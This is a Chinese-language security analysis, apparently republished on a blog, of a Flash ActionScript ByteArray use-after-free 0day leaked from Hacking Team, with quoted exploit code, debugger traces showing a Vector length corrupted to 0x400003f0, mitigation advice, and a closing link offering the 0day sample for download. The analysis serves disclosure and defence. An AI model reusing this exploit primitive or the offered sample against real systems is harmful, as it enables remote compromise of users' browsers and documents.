Hacking Team攻击代码分析Part 1: Flash 0day (附0day下载）

最近专门提供通过攻击手法进行网络监听的黑客公司Hacking Team被黑，包含该公司的邮件、文档和攻击代码的400G数据泄漏，参见安全脉搏《专业黑客公司Hacking Team被黑，泄露大量内部资料及攻击工具》

。360Vulcan Team第一时间获取了相关信息，并对其中的攻击代码进行了分析。

我们发现其中至少包含了两个针对Adobe Flash的远程代码执行漏洞和一个针对微软Windows内核字体权限提升漏洞的完整攻击代码（exploit）。其中一个Flash漏洞已经在今年4月修补，其他两个0day漏洞都未修复。

其中Flash漏洞exploit被设计为可以针对IE、Chrome浏览器和Office软件进行攻击。攻击者通过嵌入精心构造的恶意Flash文件到网页或Office文档中，使得访问特定网页或打开Office文档的用户感染恶意代码。同时，这些恶意代码通过结合Windows内核字体权限提升漏洞，可以绕过IE（保护模式或增强保护模式）、Chrome（Chrome Sandbox，< Chrome 43)和Office（保护模式）的沙盒保护，完全控制用户的电脑。

我们对这些漏洞进行分析，并分为三个部分将这些0day的信息共享给安全社区，希望软件厂商和安全厂商共同行动，尽快修补和防御着这些“在野”的0day漏洞。

Flash 0day -ActionScript ByteArray Buffer Use After Free

看起来HackingTeam的远程exploit工具中广泛使用了同一个flash漏洞（攻击目标可以是IE、Chrome、Office系列）:

初步分析这个Exploit之后，我们发现这个Exploit在最新版本的Adobe Flash（18.0.0.194）中仍然可以触发，因此这应该是一个0day漏洞。

漏洞原理分析

这个漏洞成因在于，Flash对ByteArray内部的buffer使用不当，而造成Use After Free漏洞。

我们来看一下HackingTeam泄露的exploit代码，关键部分如下：

1. 定义ByteArray

for(var i:int; i < alen; i+=3){

a[i] = new Class2(i);

 

a[i+1] = new ByteArray();

a[i+1].length = 0xfa0;

 

a[i+2] = new Class2(i+2);

}

首先定义一系列的ByteArray，这些ByteArray初始大小被设置成0xfa0，ActionScript内部会为每个Buffer分配0x1000大小的内存。

2. 给ByteArray元素赋值：

_ba = a[i];

                                       // call valueOf() and cause UaF memory corruption

                                       _ba[3] = new Clasz();

这一步是触发漏洞的关键，由于ByteArray的元素类型是Byte，当把Clasz类赋值给ByteArray[3]时，AVM会试图将其转化为Byte，此时Clasz的valueOf函数将被调用：

prototype.valueOf = function()

           {

                    ref = new Array(5);

                    collect.push(ref);

                   

                    // realloc

                    _ba.length = 0x1100;

                   

                    // use after free

                    for (var i:int; i < ref.length; i++)

                             ref[i] = new Vector.(0x3f0);

                   

                    return 0x40

           }

在valueOf函数中，最关键的一部是更改了ByteArray的长度，将其设置成为0x1100，这个操作将会触发ByteArray内部buffer的重新分配，旧的buffer（大小为0x1000）将会被释放。紧接着exploit代码会分配若干个vector<uint>对象，每个vector同样占用0x1000字节的内存，试图去重新使用已经释放的ByteArray buffer的内存。

valueOf函数返回0x40，然后0x40会被写入buffer[3]这里，如果逻辑正确，那么此处应该写入的是新分配的buffer；然而由于代码漏洞，这里写入的已经释放的0x1000大小的旧buffer，于是事实上写入的是vector对象的头部，整个过程如下：

1. ByteArray创建并设置长度0xfe0:

old buffer         |                                                      |

• 0x1000

2. 设置_ba[3]，调用valueOf，在valueOf中设置length = 0x1100，此时old buffer被释放

old buffer (Freed)    |                                                      |

0                                                                                 0x1000

3. 然后0x1000大小的vector占据old buffer内存，前4个字节是vector的长度字段：

Vector                       | f0 03 00 00                                |

0                                                                                 0x1000

4. valueOf返回0x40，0x40被写入buffer[3]，由于UAF漏洞的存在，写入的是vector的size字段：

Vector                       | f0 03 00 40                                |

0                                                                                 0x1000

于是我们可以得到一个超长的vector对象：

我们可以通过调试来观察漏洞的触发过程：

1. 调用valueOf之前

0:005> u

671cf2a5   call     671b0930 //这里最终调用valueOf     

671cf2aa 83c404         add     esp,4

671cf2ad 8806          mov     byte ptr [esi],al

671cf2af 5e             pop     esi

此时esi指向old buffer:

0:005> dd esi-3

0dfd5000 00000000 00000000 00000000 00000000

0dfd5010 00000000 00000000 00000000 00000000

2. 调用valueOf之后，old buffer被释放，然后被vector占据：

0:005> p

671cf2aa 83c404         add     esp,4

此时esi已经指向新分配的vector，就buffer已经被释放

0:005> dd esi-3

0dfd5000 000003f0 0d2b3000 00000000 00000000

0dfd5010 00000000 00000000 00000000 00000000

0dfd5020 00000000 00000000 00000000 00000000

0dfd5030 00000000 00000000 00000000 00000000

0dfd5040 00000000 00000000 00000000 00000000

0dfd5050 00000000 00000000 00000000 00000000

0dfd5060 00000000 00000000 00000000 00000000

0dfd5070 00000000 00000000 00000000 00000000

3. 写入buffer[3

接下来valueOf的返回值0x40被写入buffer[3]（及vector.size字段）：

0:005> p

eax=00000040 ebx=0d8b4921 ecx=00000206 edx=00000006 esi=0dfd5003 edi=0d362020

eip=671cf2ad esp=04f2ceec ebp=04f2d050 iopl=0         nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00200202

Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d:

671cf2ad 8806           mov     byte ptr [esi],al         ds:0023:0dfd5003=00

0:005> p

Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f:

671cf2af 5e             pop     esi

0:005> dd esi-3

0dfd5000 400003f0 0d2b3000 00000000 00000000

0dfd5010 00000000 00000000 00000000 00000000

0dfd5020 00000000 00000000 00000000 00000000

0dfd5030 00000000 00000000 00000000 00000000

可以看到vector的长度以及被修改成0x400003f0。

漏洞防范

由于该漏洞利用非常稳定，而Adobe暂时没有发布该漏洞的补丁，更可怕的是从HackingTeam泄露的数据来看，该exploit还带有沙盒突破提权功能，危害甚大。我们建议在补丁发布之前，用户可以暂时先禁用flash插件；或者可以开启Chrome或Chrome核心浏览器针对插件的Click-to-Run功能，来缓解Flash 0day的攻击。

Flash 0day下载

下载地址：http://share.weiyun.com/e399bc34b79c3c802cf26c2756a2dd54

【原文：Hacking Team攻击代码分析Part 1: Flash 0day  安全脉搏 Expl0r3r 整理发布】

本文作者：此号被封

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/34831.html